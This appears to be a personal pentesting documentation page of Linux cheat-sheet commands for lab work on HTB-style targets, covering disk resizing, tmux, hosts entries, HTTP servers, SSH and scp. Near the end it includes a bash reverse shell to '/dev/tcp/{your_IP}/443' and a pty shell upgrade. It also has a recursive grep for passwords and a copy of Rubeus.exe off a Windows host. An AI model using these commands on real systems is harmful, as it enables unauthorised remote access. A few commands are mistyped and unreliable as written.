> For the complete documentation index, see [llms.txt](https://docs.hackjiji.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.hackjiji.org/linux-pentesting/usefull-commands.md).

# Usefull command's

1. Give more space to the VM from your hypervisor
2. &#x20;Resizing the disk of a VM

```bash
sudo apt clean
##Verify disk space of /var
df -h /var
##Resize the disk
lsblk
##Verify Disk space
df -h /
sudo parted /dev/sda
##Inside Parted
resizepart 1 100%
yes
quit
##Verify disk expansion
lsblk
##Resize partition with the expansion
sudo resize2fs /dev/sda1
##Verify
df -h /
```

### Install a new tool in Linux

```shellscript
# Download the tool
# Mv the tool to the usr/local/bin
 sudo mv LM-Studio-0.3.37-1-x64.AppImage /usr/bin/lmstudio
# Make the tool work without having to start it from the terminal 
 setsid lmstudio >/dev/null 2>&1 < /dev/null &
```

### Tmux - split windows in Kali

```bash
# INSTALL TMUX
sudo apt update
sudo apt install tmux

# Horizontal split (top / bottom)
Ctrl + b, then "

# Vertical split (left / right)
Ctrl + b, then %

# Move between panes
Ctrl + b, then Arrow keys

# Detach from tmux session (keeps running)
Ctrl + b, then d

# Reattach last session
tmux attach

# List running sessions
 tmux ls
 
# Toggle fullscreen for current pane
 Ctrl + b, then z
```

### Userfull commands

* Tilde on a Belgian keyboard (\~)

```
CltGr + =
```

* ZIP

```shellscript
zip 1.zip file1 file2
```

* Copy content of a file

```shellscript
xclip -sel clip < source.txt
```

* Python virtual environment

```shellscript
python -m venv .venv 
source .venv/bin/activate     
pip install -r requirements.txt         
```

* Start a tool from everywhere

```bash
#move the tool to any location in our Path
echo $PATH

mv <TOOL> <PathLocation>
```

* To enable SSH on your Linux box, you can use the following command:

```bash
sudo systemctl enable ssh
sudo systemctl start 
```

* Output transformation with cut

```bash
#the '' sets the delimiter and fX displays the value before the delimiter
cut-d '"'-f2 access.log 
```

```bash
sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts" 
python3 -m http.server

```

* Retrieve open ports with netstat on a local machine&#x20;

```bash
netstat -tulpn | grep LISTEN

```

### FTP

connect to an FTP box

```bash
ftp ftp://ftpuser:<FTPUSER_PASSWORD>@localhost
```

### DNS issues&#x20;

<pre class="language-bash"><code class="lang-bash">sudo nano /etc/resolv.conf 
<strong># add the following line
</strong><strong>nameserver 8.8.8.8 
</strong>sudo systemctl restart NetworkManager 
sudo chown root:root /etc/resolv.conf 
sudo chmod 644 /etc/resolv.conf 
</code></pre>

### Change Java version

```bash
 update-java-alternatives --list 
sudo update-java-alternatives --set /path/to/java/version 
```

### Other useful Bash commands

#### Search Specific Keyword

* Search a specific keyword within files:

  ```bash
  grep -iRl "password"
  ```

#### Start HTTP Server

* Start a simple HTTP server on a specified port (example: port 4444):

  ```bash
  python3 -m http.server 4444
  sudo php -S 0.0.0.0:4444
  ```

#### Change Keyboard Language

* Change keyboard language to Belgian (be):

  ```bash
  setxkbmap be
  ```

#### Add Entry to /etc/hosts

* Add an entry in one line to `/etc/hosts`:

  ```bash
  sudo echo "10.129.195.8 ignition.htb" | sudo tee -a /etc/hosts
  sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts" 
  ```

* Add multiple entries (e.g vhosts)

```
IP=10.129.42.195
printf "%s\t%s\n\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts

```

#### Save Output to File

* Save a string to a file:

  ```bash
  echo "output" > file.txt
  ```

#### Capture Network Traffic

* Start capturing network traffic on a specified interface (example: tun0) and port (example: 389):

  ```bash
  tcpdump -i tun0 port 389
  ```

#### Show User Accounts and Groups in Linux

* Display all user accounts and their groups in Linux:

  ```bash
  cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id
  ```

#### Download File via SSH with SCP

* Download a file from a remote server using SCP with specified port (example: 22):

  ```bash
  scp -P 22 administrator@10.10.187.117:C:/Users/Administrator/Downloads/Rubeus.exe /home/kali/kerberos
  ```

#### Upload File via SSH with SCP

* Upload a file to a remote server using SCP:

  ```bash
  scp /path/to/local/file username@hostname:/path/to/remote/file
  ```

#### Connect Using Private Key via SSH

* Connect to a remote server using a private key:

  ```bash
  ssh -i rsaroot root@10.200.73.200
  ```

#### Change Permission on Private Key File

* Change mode on `id_rsa` to obtain persistent access:

  ```bash
  chmod 600 id_rsa
  ```

#### Search for a File in Linux

* Search for a specific file from the current directory:

  ```bash
  find -name RootFlag210.txt
  find -name *flag*
  ```

#### List All Files Including Hidden Ones

* List all files including hidden files:

  ```bash
  ls -al
  ```

#### Get a Functional Shell After Reverse Shell

* Obtain a functional shell after gaining a reverse shell:

  ```bash
  python3 -c 'import pty;pty.spawn("/bin/bash")'
  ```

#### Start HTTP Server on Port 80

* Start a simple HTTP server on port 80:

  ```bash
  python3 -m http.server 80
  ```

#### Get Open Listening Ports on Linux

* Get open listening ports on Linux:

  ```bash
  ss --tln
  ```

#### Access Web Page with Curl

* Access a webpage with curl:

  ```bash
  curl -v http://address.TLD
  ```

#### If Kali Shows Black Screen

* Run filecheck in console mode and fix filesystem issues:

  ```bash
  fsck /dev/sda2
  ```

#### Task Manager Alternatives

* Use task manager alternatives like `ftop`, `btop`, `htop`:

  ```bash
  htop
  ```

#### Find Files with FZF

* Find files interactively using `fzf`:

  ```bash
  fzf
  ```

#### Display User Information

* Show UID, GID, and groups information of the current user:

  ```bash
  id
  ```

#### Get Info on Linux Command

* Get a simpler explanation of a Linux command using `tldr`:

  ```bash
  tldr curl
  ```

#### DNS Settings

* Show DNS settings from the network manager:

  ```bash
  nmcli dev show
  ```

#### Add User to Group

* Add your user to the `vboxsf` group in a guest VM to access shared drives:

  ```bash
  sudo adduser your-user vboxsf
  ```

#### Edit GRUB Configuration

* Add "mitigations=off" to the Linux command line in GRUB configuration:

  ```bash
  sudo nano /etc/default/grub
  # Add "mitigations=off" into CMDLINE_LINUX

  ```

* Create a  more stable shell after getting a reverse shell

```bash
bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
```

Copy grep's output

```
└──╼ cat web-all-content-types.txt | grep 'image' | xclip -se c

```
